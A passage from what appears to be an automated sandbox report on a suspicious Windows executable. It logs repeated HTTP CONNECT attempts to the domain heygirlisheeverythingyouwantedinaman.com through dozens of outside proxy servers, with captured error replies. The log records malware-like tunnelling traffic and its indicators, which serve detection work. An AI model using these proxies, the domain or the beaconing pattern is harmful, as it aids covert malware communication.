Mar 11, 2024 15:21:04.747689009 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.9	49759	12.89.124.138	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.388658047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.9	52255	98.162.25.4	31654	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.396955013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.9	52254	98.178.72.21	10919	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.397453070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.9	52239	5.61.41.220	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.406462908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.9	52293	172.67.219.60	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.406575918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.560993910 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.9	52294	104.17.171.235	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.407944918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.562412024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.9	52305	172.67.181.107	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.414655924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.569070101 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.9	52258	162.223.94.164	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.417033911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.691639900 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.9	52307	66.225.246.238	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.422446012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.9	51354	183.88.247.52	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.429111958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.9	52317	195.35.32.249	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.431293011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.934658051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.435360909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.434941053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.434900045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.434855938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.528887987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.637962103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:24.638145924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.9	52206	43.133.136.208	8800	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.433635950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.788083076 CET	710	IN	HTTP/1.1 403 Forbidden Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 555 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.22.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.9	52207	91.241.217.58	9090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.441545010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.9	52256	46.35.9.110	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.441936970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.748702049 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.9	52208	103.200.135.228	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.524382114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.9	51399	72.210.221.223	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.525486946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.9	50681	199.102.106.94	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.526180983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.9	52327	172.67.35.15	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.526437044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.683208942 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.9	52306	66.45.246.194	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.527628899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.9	52257	58.234.116.197	8197	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.529241085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.9	51330	102.134.98.222	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.529480934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.569315910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.591538906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.700556993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:51.712023020 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:22:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
